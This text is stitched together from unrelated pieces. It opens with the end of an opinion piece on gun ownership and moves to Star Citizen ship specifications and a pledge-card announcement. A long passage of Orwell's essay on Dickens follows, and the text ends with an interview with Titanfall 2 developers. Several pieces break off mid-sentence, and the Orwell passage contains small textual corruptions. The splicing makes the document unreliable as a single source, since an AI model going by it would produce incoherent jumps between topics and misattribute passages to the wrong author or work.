Some people argue that there should be more restrictions on what types of guns you can own. That will prevent people from legally purchasing some firearms, but will it stop any illegal gun sales? Some people say you should have to have liability insurance if you own a gun. I suspect that will create the same problem that we have with car insurance – just because the law says you need it, that won’t stop someone from illegally driving without it. The responsible people will comply with this requirement, but I suspect these are the same people who are maniacal about gun safety. Furthermore, this likely won’t stop a shooting but only provide compensation to the injured. It can’t bring a loved one back.
Then there are the questions about mentally ill people and guns. A law that prohibits gun ownership by anyone with a mental illness would be too broad. And what about people who weren’t mentally ill when they bought their gun but became violent due to mental illness? How do we get them to surrender their guns or not use them?
The only solution that makes sense to me is complete shift in the way our society views guns. Guns are tools for hunting and self-defense. They’re not the solution when you’re angry at someone.
If you hear about someone saying they’re going to kill someone, the proper response should be a forceful, “What the fuck are you talking about? Don’t do |
star system at $3.3 million!
Starfarer
MISC
(Musashi Industrial & Starflight Concern): 2: 125,000 KG: Tanker / Refueler
The MISC Starfarer is the galaxy’s standard fuel transporter. Starfarers are ubiquitous on both sides of the fueling process: their massive tanks allow for both the collection of space borne fuel from gas giants and extrasolar sources as well as the transport of active fuel from refinery stations to the primary market. Though the stock model lacks refinery equipment, the Starfarer does have docking mechanisms allowing it to conduct in-flight refueling operations with most spacecraft classes.
The most common Starfarer modification ships liquid foodstuffs in the same tanking system. A visually distinct long-haul bulk goods version mated to an alternate cargo chassis also exists, although it has proven far less popular than the more rugged Freelancer lineup. An armored tactical variant, the Starfarer Gemini (“Star-G”) is produced under contract by Aegis for use by the UEE military.
Upgrade Capacity: 8
Cargo Capacity: 75 tonnes
Engine-
Modifiers: 4
Max. Class: Anti-Matter
Thrusters: 2x TR4, 8 x TR2
Hardpoints-
2 x Class 2: Equipped 2 x Behring M3A Laser Cannon
1 x Class 3: Equipped 1 x Talon Stalker Image Recognition missiles
1 x Class 4: Equipped 1x KP M2A Laser Cannon (turret)
Similar to… Diligent, Clydesdale
Citizen Cards
Facebook
Today you can see the bronze Citizen Card provided at the $125 level. Users can choose between a “Colonel” and a “Freelancer” card, a way to display their support for two of Chris Roberts’ earlier franchises. We think the cards start looking a lot cooler as they look more metallic… so just wait until you see the real metal cards available for higher pledgers!
We know a lot of you old spacehands aren’t fans of social networking and that’s entirely understandable. That’s why we always try and post the latest news to RSI first. Still, we’re proud of the fact that we’re almost to 10,000 “likes,” which is a metric that speaks volumes to outsiders… so, if you haven’t liked the Star Citizen Facebook page, we’d truly appreciate it.Dickens is one of those writers who are well worth stealing. Even the burial of his body in Westminster Abbey was a species of theft, if you come to think of it.
When Chesterton wrote his introductions to the Everyman Edition of Dickens's works, it seemed quite natural to him to credit Dickens with his own highly individual brand of medievalism, and more recently a Marxist writer, Mr. T. A. Jackson, has made spirited efforts to turn Dickens into a blood-thirsty revolutionary. The Marxist claims him as ‘almost’ a Marxist, the Catholic claims him as ‘almost’ a Catholic, and both claim him as a champion of the proletariat (or ‘the poor’, as Chesterton would have put it). On the other hand, Nadezhda Krupskaya, in her little book on Lenin, relates that towards the end of his life Lenin went to see a dramatized version of The Cricket on the Hearth, and found Dickens's ‘middle-class sentimentality’ so intolerable that he walked out in the middle of a scene.
Taking ‘middle-class’ to mean what Krupskaya might be expected to mean by it, this was probably a truer judgement than those of Chesterton and Jackson. But it is worth noticing that the dislike of Dickens implied in this remark is something unusual. Plenty of people have found him unreadable, but very few seem to have felt any hostility towards the general spirit of his work. Some years later Mr. Bechhofer Roberts published a full-length attack on Dickens in the form of a novel (This Side Idolatry), but it was a merely personal attack, concerned for the most part with Dickens's treatment of his wife. It dealt with incidents which not one in a thousand of Dickens's readers would ever hear about, and which no more invalidates his work than the second-best bed invalidates Hamlet. All that the book really demonstrated was that a writer's literary personality has little or nothing to do with his private character. It is quite possible that in private life Dickens was just the kind of insensitive egoist that Mr. Bechhofer Roberts makes him appear. But in his published work there is implied a personality quite different from this, a personality which has won him far more friends than enemies. It might well have been otherwise, for even if Dickens was a bourgeois, he was certainly a subversive writer, a radical, one might truthfully say a rebel. Everyone who has read widely in his work has felt this. Gissing, for instance, the best of the writers on Dickens, was anything but a radical himself, and he disapproved of this strain in Dickens and wished it were not there, but it never occurred to him to deny it. In Oliver Twist, Hard Times, Bleak House, Little Dorrit, Dickens attacked English institutions with a ferocity that has never since been approached. Yet he managed to do it without making himself hated, and, more than this, the very people he attacked have swallowed him so completely that he has become a national institution himself. In its attitude towards Dickens the English public has always been a little like the elephant which feels a blow with a walking-stick as a delightful tickling. Before I was ten years old I was having Dickens ladled down my throat by schoolmasters in whom even at that age I could see a strong resemblance to Mr. Creakle, and one knows without needing to be told that lawyers delight in Sergeant Buzfuz and that Little Dorrit is a favourite in the Home Office. Dickens seems to have succeeded in attacking everybody and antagonizing nobody. Naturally this makes one wonder whether after all there was something unreal in his attack upon society. Where exactly does he stand, socially, morally, and politically? As usual, one can define his position more easily if one starts by deciding what he was not.
In the first place he was not, as Messrs. Chesterton and Jackson seem to imply, a ‘proletarian’ writer. To begin with, he does not write about the proletariat, in which he merely resembles the overwhelming majority of novelists, past and present. If you look for the working classes in fiction, and especially English fiction, all you find is a hole. This statement needs qualifying, perhaps. For reasons that are easy enough to see, the agricultural labourer (in England a proletarian) gets a fairly good showing in fiction, and a great deal has been written about criminals, derelicts and, more recently, the working-class intelligentsia. But the ordinary town proletariat, the people who make the wheels go round, have always been ignored by novelists. When they do find their way between the covers of a book, it is nearly always as objects of pity or as comic relief. The central action of Dickens's stories almost invariably takes place in middle-class surroundings. If one examines his novels in detail one finds that his real subject-matter is the London commercial bourgeoisie and their hangers-on — lawyers, clerks, tradesmen, innkeepers, small craftsmen, and servants. He has no portrait of an agricultural worker, and only one (Stephen Blackpool in Hard Times) of an industrial worker. The Plornishes in Little Dorrit are probably his best picture of a working-class family — the Peggottys, for instance, hardly belong to the working class — but on the whole he is not successful with this type of character. If you ask any ordinary reader which of Dickens's proletarian characters he can remember, the three he is almost certain to mention are Bill Sykes, Sam Weller, and Mrs. Gamp. A burglar, a valet, and a drunken midwife — not exactly a representative cross-section of the English working class.
Secondly, in the ordinarily accepted sense of the word, Dickens is not a ‘revolutionary’ writer. But his position here needs some defining.
Whatever else Dickens may have been, he was not a hole-and-corner soul-saver, the kind of well-meaning idiot who thinks that the world will be perfect if you amend a few bylaws and abolish a few anomalies. It is worth comparing him with Charles Reade, for instance. Reade was a much better-informed man than Dickens, and in some ways more public-spirited. He really hated the abuses he could understand, he showed them up in a series of novels which for all their absurdity are extremely readable, and he probably helped to alter public opinion on a few minor but important points. But it was quite beyond him to grasp that, given the existing form of society, certain evils cannot be remedied. Fasten upon this or that minor abuse, expose it, drag it into the open, bring it before a British jury, and all will be well that is how he sees it. Dickens at any rate never imagined that you can cure pimples by cutting them off. In every page of his work one can see a consciousness that society is wrong somewhere at the root. It is when one asks ‘Which root?’ that one begins to grasp his position.
The truth is that Dickens's criticism of society is almost exclusively moral. Hence the utter lack of any constructive suggestion anywhere in his work. He attacks the law, parliamentary government, the educational system and so forth, without ever clearly suggesting what he would put in their places. Of course it is not necessarily the business of a novelist, or a satirist, to make constructive suggestions, but the point is that Dickens's attitude is at bottom not even destructive. There is no clear sign that he wants the existing order to be overthrown, or that he believes it would make very much difference if it were overthrown. For in reality his target is not so much society as ‘human nature’. It would be difficult to point anywhere in his books to a passage suggesting that the economic system is wrong as a system. Nowhere, for instance, does he make any attack on private enterprise or private property. Even in a book like Our Mutual Friend, which turns on the power of corpses to interfere with living people by means of idiotic wills, it does not occur to him to suggest that individuals ought not to have this irresponsible power. Of course one can draw this inference for oneself, and one can draw it again from the remarks about Bounderby's will at the end of Hard Times, and indeed from the whole of Dickens's work one can infer the evil of laissez-faire capitalism; but Dickens makes no such inference himself. It is said that Macaulay refused to review Hard Times because he disapproved of its ‘sullen Socialism’. Obviously Macaulay is here using the word ‘Socialism’ in the same sense in which, twenty years ago, a vegetarian meal or a Cubist picture used to be referred to as ‘Bolshevism’. There is not a line in the book that can properly be called Socialistic; indeed, its tendency if anything is pro-capitalist, because its whole moral is that capitalists ought to be kind, not that workers ought to be rebellious. Bounder by is a bullying windbag and Gradgrind has been morally blinded, but if they were better men, the system would work well enough that, all through, is the implication. And so far as social criticism goes, one can never extract much more from Dickens than this, unless one deliberately reads meanings into him. His whole ‘message’ is one that at first glance looks like an enormous platitude: If men would behave decently the world would be decent.
Naturally this calls for a few characters who are in positions of authority and who do behave decently. Hence that recurrent Dickens figure, the good rich man. This character belongs especially to Dickens's early optimistic period. He is usually a ‘merchant’ (we are not necessarily told what merchandise he deals in), and he is always a superhumanly kind-hearted old gentleman who ‘trots’ to and fro, raising his employees’ wages, patting children on the head, getting debtors out of jail and in general, acting the fairy godmother. Of course he is a pure dream figure, much further from real life than, say, Squeers or Micawber. Even Dickens must have reflected occasionally that anyone who was so anxious to give his money away would never have acquired it in the first place. Mr. Pickwick, for instance, had ‘been in the city’, but it is difficult to imagine him making a fortune there. Nevertheless this character runs like a connecting thread through most of the earlier books. Pickwick, the Cheerybles, old Chuzzlewit, Scrooge — it is the same figure over and over again, the good rich man, handing out guineas. Dickens does however show signs of development here. In the books of the middle period the good rich man fades out to some extent. There is no one who plays this part in A Tale of Two Cities, nor in Great Expectations — Great Expectations is, in fact, definitely an attack on patronage — and in Hard Times it is only very doubtfully played by Gradgrind after his reformation. The character reappears in a rather different form as Meagles in Little Dorrit and John Jarndyce in Bleak House — one might perhaps add Betsy Trotwood in David Copperfield. But in these books the good rich man has dwindled from a ‘merchant’ to a render. This is significant. A rentier is part of the possessing class, he can and, almost without knowing it, does make other people work for him, but he has very little direct power. Unlike Scrooge or the Cheerybles, he cannot put everything right by raising everybody's wages. The seeming inference from the rather despondent books that Dickens wrote in the fifties is that by that time he had grasped the helplessness of well-meaning individuals in a corrupt society. Nevertheless in the last completed novel, Our Mutual Friend (published 1864-5), the good rich man comes back in full glory in the person of Boffin. Boffin is a proletarian by origin and only rich by inheritance, but he is the usual deus ex machina, solving everybody's problems by showering money in all directions. He even ‘trots’, like the Cheerybles. In several ways Our Mutual Friend is a return to the earlier manner, and not an unsuccessful return either. Dickens's thoughts seem to have come full circle. Once again, individual kindliness is the remedy for everything.
One crying evil of his time that Dickens says very little about is child labour. There are plenty of pictures of suffering children in his books, but usually they are suffering in schools rather than in factories. The one detailed account of child labour that he gives is the description in David Copperfield of little David washing bottles in Murdstone & Grinby's warehouse. This, of course, is autobiography. Dickens himself, at the age of ten, had worked in Warren's blacking factory in the Strand, very much as he describes it here. It was a terribly bitter memory to him, partly because he felt the whole incident to be discreditable to his parents, and he even concealed it from his wife till long after they were married. Looking back on this period, he says in David Copperfield:
It is a matter of some surprise to me, even now, that I can have been so easily thrown away at such an age. A child of excellent abilities and with strong powers of observation, quick, eager, delicate, and soon hurt bodily or mentally, it seems wonderful to me that nobody should have made any sign in my behalf. But none was made; and I became, at ten years old, a little labouring hind in the service of Murdstone & Grinby.
And again, having described the rough boys among whom he worked:
No words can express the secret agony of my soul as I sunk into this companionship... and felt my hopes of growing up to be a learned and distinguished man crushed in my bosom.
Obviously it is not David Copperfield who is speaking, it is Dickens himself. He uses almost the same words in the autobiography that he began and abandoned a few months earlier. Of course Dickens is right in saying that a gifted child ought not to work ten hours a day pasting labels on bottles, but what he does not say is that no child ought to be condemned to such a fate, and there is no reason for inferring that he thinks it. David escapes from the warehouse, but Mick Walker and Mealy Potatoes and the others are still there, and there is no sign that this troubles Dickens particularly. As usual, he displays no consciousness that the structure of society can be changed. He despises politics, does not believe that any good can come out of Parliament — he had been a Parliamentary shorthand writer, which was no doubt a disillusioning experience — and he is slightly hostile to the most hopeful movement of his day, trade unionism. In Hard Times trade unionism is represented as something not much better than a racket, something that happens because employers are not sufficiently paternal. Stephen Blackpool's refusal to join the union is rather a virtue in Dickens's eyes. Also, as Mr. Jackson has pointed out, the apprentices’ association in Barnaby Rudge, to which Sim Tappertit belongs, is probably a hit at the illegal or barely legal unions of Dickens's own day, with their secret assemblies, passwords and so forth. Obviously he wants the workers to be decently treated, but there is no sign that he wants them to take their destiny into their own hands, least of all by open violence.
As it happens, Dickens deals with revolution in the narrower sense in two novels, Barnaby Rudge and A Tale of Two Cities. In Barnaby Rudge it is a case of rioting rather than revolution. The Gordon Riots of 1780, though they had religious bigotry as a pretext, seem to have been little more than a pointless outburst of looting. Dickens's attitude to this kind of thing is sufficiently indicated by the fact that his first idea was to make the ringleaders of the riots three lunatics escaped from an asylum. He was dissuaded from this, but the principal figure of the book is in fact a village idiot. In the chapters dealing with the riots Dickens shows a most profound horror of mob violence. He delights in describing scenes in which the ‘dregs’ of the population behave with atrocious bestiality. These chapters are of great psychological interest, because they show how deeply he had brooded on this subject. The things he describes can only have come out of his imagination, for no riots on anything like the same scale had happened in his lifetime. Here is one of his descriptions, for instance:
If Bedlam gates had been flung open wide, there would not have issued forth such maniacs as the frenzy of that night had made. There were men there who danced and trampled on the beds of flowers as though they trod down human enemies, and wrenched them from their stalks, like savages who twisted human necks. There were men who cast their lighted torches in the air, and suffered them to fall upon their heads and faces, blistering the skin with deep unseemly burns. There were men who rushed up to the fire, and paddled in it with their hands as if in water; and others who were restrained by force from plunging in, to gratify their deadly longing. On the skull of one drunken lad — not twenty, by his looks — who lay upon the ground with a bottle to his mouth, the lead from the roof came streaming down in a shower of liquid fire, white hot, melting his head like wax... But of all the howling throng not one learnt mercy from, or sickened at, these sights; nor was the fierce, besotted, senseless rage of one man glutted.
You might almost think you were reading a description of ‘Red’ Spain by a partisan of General Franco. One ought, of course, to remember that when Dickens was writing, the London ‘mob’ still existed. (Nowadays there is no mob, only a flock.) Low wages and the growth and shift of population had brought into existence a huge, dangerous slum-proletariat, and until the early middle of the nineteenth century there was hardly such a thing as a police force. When the brickbats began to fly there was nothing between shuttering your windows and ordering the troops to open fire. In A Tale of Two Cities he is dealing with a revolution which was really about something, and Dickens's attitude is different, but not entirely different. As a matter of fact, A Tale of Two Cities is a book which tends to leave a false impression behind, especially after a lapse of time.
The one thing that everyone who has read A Tale of Two Cities remembers is the Reign of Terror. The whole book is dominated by the guillotine — tumbrils thundering to and fro, bloody knives, heads bouncing into the basket, and sinister old women knitting as they watch. Actually these scenes only occupy a few chapters, but they are written with terrible intensity, and the rest of the book is rather slow going. But A Tale of Two Cities is not a companion volume to The Scarlet Pimpernel. Dickens sees clearly enough that the French Revolution was bound to happen and that many of the people who were executed deserved what they got. If, he says, you behave as the French aristocracy had behaved, vengeance will follow. He repeats this over and over again. We are constantly being reminded that while ‘my lord’ is lolling in bed, with four liveried footmen serving his chocolate and the peasants starving outside, somewhere in the forest a tree is growing which will presently be sawn into planks for the platform of the guillotine, etc., etc., etc. The inevitability of the Terror, given its causes, is insisted upon in the clearest terms:
It was too much the way... to talk of this terrible Revolution as if it were the only harvest ever known under the skies that had not been sown — as if nothing had ever been done, or omitted to be done, that had led to it — as if observers of the wretched millions in France, and of the misused and perverted resources that should have made them prosperous, had not seen it inevitably coming, years before, and had not in plain terms recorded what they saw.
And again:
All the devouring and insatiate monsters imagined since imagination could record itself, are fused in the one realization, Guillotine. And yet there is not in France, with its rich variety of soil and climate, a blade, a leaf, a root, a spring, a peppercorn, which will grow to maturity under conditions more certain than those that have produced this horror. Crush humanity out of shape once more, under similar hammers, and it will twist itself into the same tortured forms.
In other words, the French aristocracy had dug their own graves. But there is no perception here of what is now called historic necessity. Dickens sees that the results are inevitable, given the causes, but he thinks that the causes might have been avoided. The Revolution is something that happens because centuries of oppression have made the French peasantry sub-human. If the wicked nobleman could somehow have turned over a new leaf, like Scrooge, there would have been no Revolution, no jacquerie, no guillotine — and so much the better. This is the opposite of the ‘revolutionary’ attitude. From the ‘revolutionary’ point of view the class-struggle is the main source of progress, and therefore the nobleman who robs the peasant and goads him to revolt is playing a necessary part, just as much as the Jacobin who guillotines the nobleman. Dickens never writes anywhere a line that can be interpreted as meaning this. Revolution as he sees it is merely a monster that is begotten by tyranny and always ends by devouring its own instruments. In Sydney Carton's vision at the foot of the guillotine, he foresees Defarge and the other leading spirits of the Terror all perishing under the same knife — which, in fact, was approximately what happened.
And Dickens is very sure that revolution is a monster. That is why everyone remembers the revolutionary scenes in A Tale of Two Cities; they have the quality of nightmare, and it is Dickens's own nightmare. Again and again he insists upon the meaningless horrors of revolution — the mass-butcheries, the injustice, the ever-present terror of spies, the frightful blood-lust of the mob. The descriptions of the Paris mob — the description, for instance, of the crowd of murderers struggling round the grindstone to sharpen their weapons before butchering the prisoners in the September massacres — outdo anything in Barnaby Rudge. The revolutionaries appear to him simply as degraded savages — in fact, as lunatics. He broods over their frenzies with a curious imaginative intensity. He describes them dancing the ‘Carmagnole’, for instance:
There could not be fewer than five hundred people, and they were dancing like five thousand demons... They danced to the popular Revolution song, keeping a ferocious time that was like a gnashing of teeth in unison... They advanced, retreated, struck at one another's hands, clutched at one another's heads, spun round alone, caught one another, and spun around in pairs, until many of them dropped... Suddenly they stopped again, paused, struck out the time afresh, forming into lines the width of the public way, and, with their heads low down and their hands high up, swooped screaming off. No fight could have been half so terrible as this dance. It was so emphatically a fallen sport — a something, once innocent, delivered over to all devilry.
He even credits some of these wretches with a taste for guillotining children. The passage I have abridged above ought to be read in full. It and others like it show how deep was Dickens's horror of revolutionary hysteria. Notice, for instance that touch, ‘with their heads low down and their hands high up’, etc., and the evil vision it conveys. Madame Defarge is a truly dreadful figure, certainly Dickens's most successful attempt at a malignant character. Defarge and others are simply ‘the new oppressors who have risen in the destruction of the old’, the revolutionary courts are presided over by ‘the lowest, cruellest and worst populace’, and so on and so forth. All the way through Dickens insists upon the nightmare insecurity of a revolutionary period, and in this he shows a great deal of prescience. ‘A law of the suspected, which struck away all security for liberty or life, and delivered over any good and innocent person to any bad and guilty one; prisons gorged with people who had committed no offence, and could obtain no hearing’ — it would apply pretty accurately to several countries today.
The apologists of any revolution generally try to minimize its horrors; Dickens's impulse is to exaggerate them — and from a historical point of view he has certainly exaggerated. Even the Reign of Terror was a much smaller thing than he makes it appear. Though he quotes no figures, he gives the impression of a frenzied massacre lasting for years, whereas in reality the whole of the Terror, so far as the number of deaths goes, was a joke compared with one of Napoleon's battles. But the bloody knives and the tumbrils rolling to and fro create in his mind a special sinister vision which he has succeeded in passing on to generations of readers. Thanks to Dickens, the very word ‘tumbril’ has a murderous sound; one forgets that a tumbril is only a sort of farm-cart. To this day, to the average Englishman, the French Revolution means no more than a pyramid of severed heads. It is a strange thing that Dickens, much more in sympathy with the ideas of the Revolution than most Englishmen of his time, should have played a part in creating this impression.
If you hate violence and don't believe in politics, the only remedy remaining is education. Perhaps society is past praying for, but there is always hope for the individual human being, if you can catch him young enough. This belief partly accounts for Dickens's preoccupation with childhood.
No one, at any rate no English writer, has written better about childhood than Dickens. In spite of all the knowledge that has accumulated since, in spite of the fact that children are now comparatively sanely treated, no novelist has shown the same power of entering into the child's point of view. I must have been about nine years old when I first read David Copperfield. The mental atmosphere of the opening chapters was so immediately intelligible to me that I vaguely imagined they had been written by a child. And yet when one re-reads the book as an adult and sees the Murdstones, for instance, dwindle from gigantic figures of doom into semi-comic monsters, these passages lose nothing. Dickens has been able to stand both inside and outside the child's mind, in such a way that the same scene can be wild burlesque or sinister reality, according to the age at which one reads it. Look, for instance, at the scene in which David Copperfield is unjustly suspected of eating the mutton chops; or the scene in which Pip, in Great Expectations, coming back from Miss Havisham's house and finding himself completely unable to describe what he has seen, takes refuge in a series of outrageous lies — which, of course, are eagerly believed. All the isolation of childhood is there. And how accurately he has recorded the mechanisms of the child's mind, its visualizing tendency, its sensitiveness to certain kinds of impression. Pip relates how in his childhood his ideas about his dead parents were derived from their tombstones:
The shape of the letters on my father's, gave me an odd idea that he was a square, stout, dark man, with curly black hair. From the character and turn of the inscription, ‘ALSO GEORGIANA, WIFE OF THE ABOVE’, I drew a childish conclusion that my mother was freckled and sickly. To five little stone lozenges, each about a foot and a half long, which were arranged in a neat row beside their grave, and were sacred to the memory of five little brothers of mine... I am indebted for a belief I religiously entertained that they had all been born on their backs with their hands in their trouser-pockets, and had never taken them out in this state of existence.
There is a similar passage in David Copperfield. After biting Mr. Murdstone's hand, David is sent away to school and obliged to wear on his back a placard saying, ‘Take care of him. He bites.’ He looks at the door in the playground where the boys have carved their names, and from the appearance of each name he seems to know in just what tone of voice the boy will read out the placard:
There was one boy — a certain J. Steerforth — who cut his name very deep and very often, who, I conceived, would read it in a rather strong voice, and afterwards pull my hair. There was another boy, one Tommy Traddles, who I dreaded would make game of it, and pretend to be dreadfully frightened of me. There was a third, George Demple, who I fancied would sing it.
When I read this passage as a child, it seemed to me that those were exactly the pictures that those particular names would call up. The reason, of course, is the sound-associations of the words Demple (‘temple’; Traddles — probably ‘skedaddle’). But how many people, before Dickens, had ever noticed such things? A sympathetic attitude towards children was a much rarer thing in Dickens's day than it is now. The early nineteenth century was not a good time to be a child. In Dickens's youth children were still being ‘solemnly tried at a criminal bar, where they were held up to be seen’, and it was not so long since boys of thirteen had been hanged for petty theft. The doctrine of ‘breaking the child's spirit’ was in full vigour, and The Fairchild Family was a standard book for children till late into the century. This evil book is now issued in pretty-pretty expurgated editions, but it is well worth reading in the original version. It gives one some idea of the lengths to which child-discipline was sometimes carried. Mr. Fairchild, for instance, when he catches his children quarrelling, first thrashes them, reciting Dr. Watts's ‘Let dogs delight to bark and bite’ between blows of the cane, and then takes them to spend the afternoon beneath a gibbet where the rotting corpse of a murderer is hanging. In the earlier part of the century scores of thousands of children, aged sometimes as young as six, were literally worked to death in the mines or cotton mills, and even at the fashionable public schools boys were flogged till they ran with blood for a mistake in their Latin verses. One thing which Dickens seems to have recognized, and which most of his contemporaries did not, is the sadistic sexual element in flogging. I think this can be inferred from David Copperfield and Nicholas Nickleby. But mental cruelty to a child infuriates him as much as physical, and though there is a fair number of exceptions, his schoolmasters are generally scoundrels.
Except for the universities and the big public schools, every kind of education then existing in England gets a mauling at Dickens's hands. There is Doctor Blimber's Academy, where little boys are blown up with Greek until they burst, and the revolting charity schools of the period, which produced specimens like Noah Claypole and Uriah Heep, and Salem House, and Dotheboys Hall, and the disgraceful little dame-school kept by Mr. Wopsle's great-aunt. Some of what Dickens says remains true even today. Salem House is the ancestor of the modern ‘prep school’, which still has a good deal of resemblance to it; and as for Mr. Wopsle's great-aunt, some old fraud of much the same stamp is carrying on at this moment in nearly every small town in England. But, as usual, Dickens's criticism is neither creative nor destructive. He sees the idiocy of an educational system founded on the Greek lexicon and the wax-ended cane; on the other hand, he has no use for the new kind of school that is coming up in the fifties and sixties, the ‘modern’ school, with its gritty insistence on ‘facts’. What, then, does he want? As always, what he appears to want is a moralized version of the existing thing — the old type of school, but with no caning, no bullying or underfeeding, and not quite so much Greek. Doctor Strong's school, to which David Copperfield goes after he escapes from Murdstone & Grinby's, is simply Salem House with the vices left out and a good deal of ‘old grey stones’ atmosphere thrown in:
Doctor Strong's was an excellent school, as different from Mr. Creakle's as good is from evil. It was very gravely and decorously ordered, and on a sound system; with an appeal, in everything, to the honour and good faith of the boys... which worked wonders. We all felt that we had a part in the management of the place, and in sustaining its character and dignity. Hence, we soon became warmly attached to it — I am sure I did for one, and I never knew, in all my time, of any boy being otherwise — and learnt with a good will, desiring to do it credit. We had noble games out of hours, and plenty of liberty; but even then, as I remember, we were well spoken of in the town, and rarely did any disgrace, by our appearance or manner, to the reputation of Doctor Strong and Doctor Strong's boys.
In the woolly vagueness of this passage one can see Dickens's utter lack of any educational theory. He can imagine the moral atmosphere of a good school, but nothing further. The boys ‘learnt with a good will’, but what did they learn? No doubt it was Doctor Blimber's curriculum, a little watered down. Considering the attitude to society that is everywhere implied in Dickens's novels, it comes as rather a shock to learn that he sent his eldest son to Eton and sent all his children through the ordinary educational mill. Gissing seems to think that he may have done this because he was painfully conscious of being under-educated himself. Here perhaps Gissing is influenced by his own love of classical learning. Dickens had had little or no formal education, but he lost nothing by missing it, and on the whole he seems to have been aware of this. If he was unable to imagine a better school than Doctor Strong's, or, in real life, than Eton, it was probably due to an intellectual deficiency rather different from the one Gissing suggests.
It seems that in every attack Dickens makes upon society he is always pointing to a change of spirit rather than a change of structure. It is hopeless to try and pin him down to any definite remedy, still more to any political doctrine. His approach is always along the moral plane, and his attitude is sufficiently summed up in that remark about Strong's school being as different from Creakle's ‘as good is from evil’. Two things can be very much alike and yet abysmally different. Heaven and Hell are in the same place. Useless to change institutions without a ‘change of heart’ — that, essentially, is what he is always saying.
If that were all, he might be no more than a cheer-up writer, a reactionary humbug. A ‘change of heart’ is in fact the alibi of people who do not wish to endanger the status quo. But Dickens is not a humbug, except in minor matters, and the strongest single impression one carries away from his books is that of a hatred of tyranny. I said earlier that Dickens is not in the accepted sense a revolutionary writer. But it is not at all certain that a merely moral criticism of society may not be just as ‘revolutionary’ — and revolution, after all, means turning things upside down as the politico-economic criticism which is fashionable at this moment. Blake was not a politician, but there is more understanding of the nature of capitalist society in a poem like ‘I wander through each charted street’ than in three-quarters of Socialist literature. Progress is not an illusion, it happens, but it is slow and invariably disappointing. There is always a new tyrant waiting to take over from the old — generally not quite so bad, but still a tyrant. Consequently two viewpoints are always tenable. The one, how can you improve human nature until you have changed the system? The other, what is the use of changing the system before you have improved human nature? They appeal to different individuals, and they probably show a tendency to alternate in point of time. The moralist and the revolutionary are constantly undermining one another. Marx exploded a hundred tons of dynamite |
be something less linear?
All: …
GC: I’ve just realised you’re probably not allowed to talk about the story campaign are you?
MM: Well, it is a single-player campaign that takes you through many missions and tells you the story of going from a militia rifleman to becoming a pilot and getting a Titan. It’s very different to anything we’ve done in the past.
GC: I was a fan of the first game but I think one of the key complaints was that the lore and backstory was maybe a little generic. Do you accept that criticism, and is it something you’ve tried to address in the new game?
MM: I think we’re naturally expanding the nature of the universe, just because we’re building a bigger part of that world. I think we had more people calling, ‘We want more story!’ than not, so I think even when you’re building up the multiplayer world you want everything to be cohesive and grounded and make sense. So even in your head you build out what the constructs of this world are.
GC: The original Titanfall had a very limited colour palette, and there was a clear attempt to limit things like aliens and exotic weapons. With the success of less grounded shooters like Overwatch do you feel that you can afford to introduce more overt sci-fi elements with this sequel?
JS: I think you can take things a little further, as you kind of build the core of what the brand is you can take things a little bit further. But we didn’t really have a mandate either way.
VZ: Being grounded and realistic has always been really important to us, and just true to us as a team. And with sci-fi we looked at one of the challenges as being making science fiction accessible, when we don’t have like a comic book character to guide you into that universe that you’ve known for 40 years or whatever. In this game we are broadening and developing the L-STAR [a new energy beam rifle – GC] and we’ve got more flavour and personality to the Titans, so I think we’re expanding the scope but it’s still important to us that it’s grounded.
GC: I have many questions from having played the game upstairs, but my first is: I can’t believe anyone doesn’t chose the character with the grapple hook.
All: [laughs]
GC: It was so much fun I had to really force myself to try the others.
MM: I think it’s dependent on the game mode, but we’re only showing one today so the grapple is pretty useful. The Pulse Blade [the radar beacon described above – GC] has some team tactical elements to it, so you can throw it down and your whole team will see where enemies are. So there is some reward there, from people who are looking for more team-focused competitive play. But the grapple is really fun, yeah. [laughs]
GC: There were a couple of dudebros playing alongside me [EA’s E3 event was open to the public – GC] and they seemed amazed and excited about just about everything that happened.
All: [laughs]
GC: It was fascinating actually, to hear them discovering each element like the grapple, and how to access a Titan. They’d clearly never played the game before, so it was quite a validation for how accessible it is.
JS: Some people have trouble getting into the movement, and some people get it like that. So I think it’s about making the game accessible, but with a level of mastery on top of that. You can play it easily, but it will take you longer to get really, really good.
GC: I guess those guys were probably fairly keen gamers, but how do you go about teaching new players how to play the game properly? Is that something you’re going to use the campaign for?
MM: It’s not the core goal of the single-player, but those mechanics are unfolded over time and you learn about the different Titan types and their abilities.
VZ: The best way to play is as slices of life, like single-player is these points from multiplayer but focused and with everything else blocked out. Like taking an element from the game and giving it its chance to shine. It’s like exposure, if you’re getting exposed to the variety of the Titanfall universe in selected moments. And then you go into the multiplayer and it’s all at once.
People learn at different rates. And it would be a lot to expect someone to just play our game for half an hour and be a master of all. So we run that tightrope between dumbing down the mechanics and keeping them deep but potentially taking longer to learn. So, one of the benefits of having a campaign is that you can learn things at your own pace, and hopefully that does translate into more people being able to jump into the multiplayer more effectively.
GC: I think the other general complaint about the original was the lack of game modes and the unusually short half-life of the multiplayer in general. How are you addressing that in the sequel and how many new modes are there in total?
JS: I don’t think we’re saying exactly how many at the moment, but that’s certainly a big issue for us. We heard the concerns about burning through the content too quickly. But I don’t think just more modes necessarily makes the game better, it’s the depth of the experience. So it’s about how you unfold the experience and what can players do to unlock different things and work through the progression system, which is completely revamped. I think we’ve done a much better job on that than previously.
GC: How does the new progression system work, is that more Call Of Duty influenced?
VZ: We play Clash Royale a lot, so everything’s an influence. Call Of Duty was influenced by MMOs…
TS: About a year ago we picked up Todd Alderman, who we used to work with on Call Of Duty, he was the multiplayer designer. He’s back now, and so what we did was break the game down to its fundamentals and rebuilt it with what we learned from the previous title. So that shows up in a lot of the tweaks and tuning that might not be fully obvious from the first play sessions. But over extended time it should be a more sustainable experience that doesn’t exhaust, like the previous game did, and has more longevity.
GC: So have you said how many new robot designs there are?
MM: Six Titans.
GC: Six new ones or six in total?
MM: Six total, all-new.
GC: That’s great. As far as I’m concerned there’s no game that’s not improved by the inclusion of a giant robot.
All: [laughs]
Titanfall 2 – more robots and more story
GC: Although it seemed to take longer for them to arrive than I remember from the first game? And it’s no longer on a timer?
MM: There’s Todd! Todd, come here and answer that question!
(Lead multiplayer designer Todd Alderman enters the room, and sits down with the rest of us.)
TA: Ah. We wanted the Titans to feel like a reward, and with the timer it sort of made that into a neutral. So we wanted to push players to play the game in a certain way, with more counter-play and communication. So we came up with a system where every action you do is filling the meter to get your Titan. So depending on what mode you’re playing, some actions… like, if it’s a defence mode then if you’re defending you’ll get more points because it helps the team more, and that will get you to your Titan faster. So you’re still getting your Titans like you would in the last game, but now it feels like it’s actually a reward and it’s a lot more satisfying.
